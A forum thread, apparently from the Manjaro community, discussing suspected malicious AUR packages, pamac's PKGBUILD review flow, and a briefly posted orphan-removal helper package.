After the latest incidents I became curious and decided to follow the AUR feed.
To me it looks like there is a massive smoke and mirror action.
A lot of -bin and -git packages created by newly created users; I can’t help but think that someone is annoyed with the recent take down of malicious PKGBUILDs; perhaps they have automated the creation of users and PKGBUILDs in the hope that a vigilant observer may grow weary and miss the important ones.
Yes, the GUI has them - though they don’t get thrust in your face (as with paru/yay) on ‘review’.
I think two reviews are essential, I always first look at the information (as you see on the ‘Details’ page in the GUI) but then before installing (unlike the GUI) I’m automatically taken to the pkgbuild and must accept it and proceed to install. The GUI invites us to skip this.
But, then again, the information is all there if you’re lazy to open the AUR webpage to read it there… so overall, nOObs will be nOObs.
I sympathise with folks that find pkgbuilds a bit tough to understand - but it is what it is; AUR is an Arch user playground, for Arch users, and there’s no defence saying ‘I don’t undesrtand it’ because the answer then is - Don’t Use It.
So far, in that case, none of the ‘malware’ is remotely serious; but obviously it could develop, they may just be feeling the ground, probing and calculating new strategies.
This last part is irrelevant, it’s nothing to do with Pamac.
This is the Arch User Recreation area… so the steps should be enforced - and the steps should be linked for the pamac-cli also, first the Details, and then the PKGBuild review (and it’s your choice whether you read it or just skip it) before you see the ‘build’ button.
Of course — I’d be happy to. 
Here’s the extensive tutorial. 
octopi.chromein the search field.
icon.
pamac’s searches for AUR packages show up immediately because pamac uses its own AUR cache, which in turn was necessary because pamacwas DoS’ing the AUR, which resulted in a temporary ban for everyone using Manjaro.
octopi doesn’t use a cache. It accesses the AUR directly, but without DOS’ing it.
Then they are obviously either unaware or deliberately ignoring that RedHat’s own mirrors were compromised and were hosting malware at some point in the previous decade, or possibly in the late 2000s — I’m not sure on the exact time frame anymore.
The malware was hidden in a great number of official RedHat packages by a legitimate uploader account that had been compromised, and the infected packages were propagated across RedHat’s entire mirror network.
They had to take their servers and mirrors offline for one or two days in order to clean up the mess, and the compromised account, once discovered, was of course blocked.
Links dead already: seeyebe removed from github.
https://aur.archlinux.org/packages/dude
https://github.com/seeyebe/dude
One hour old; A single-binary helper that discovers, previews and removes pacman orphans …
Because pacman -Qdtq is just too difficult?
dude & dude-bin were both added and deleted by the Maintainer before I even woke up this morning.
How are those packages related to this thread? Did you find malware in the source code? 
Apparently. 
You wouldn’t believe how many pointless things are added to the AUR…
I guess so… and not necessarily malware at all, they were deleted already when I posted yesterday just one hour after appearing in the feed. I thought it was novel because the links were already dead.
However, GitHub - seeyebe/dude: A single-binary helper that discovers, previews and removes pacman orphans is back up - so I guess I shouldn’t get so excited.
More info regarding that:
If a user adds package to the AUR, then submits a deletion request, it’s automatically accepted with no human intervention. I’m sure there’s a limited timeframe for that scenario. That’s what occurred with the dude packages.
pamac remove -o
or if you are not into the whole brevity thing:
pamac remove --orphans
Dude abides 